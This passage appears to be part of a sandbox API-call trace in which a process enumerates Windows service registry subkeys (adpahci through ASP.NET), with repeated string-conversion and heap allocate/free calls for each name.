(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.903] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.903] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.903] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.904] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.904] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.904] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.904] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0241.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.905] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.905] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.905] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0241.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.906] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.906] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.906] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.906] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.907] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.907] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.907] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0241.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.908] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.908] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.908] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.908] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0241.909] 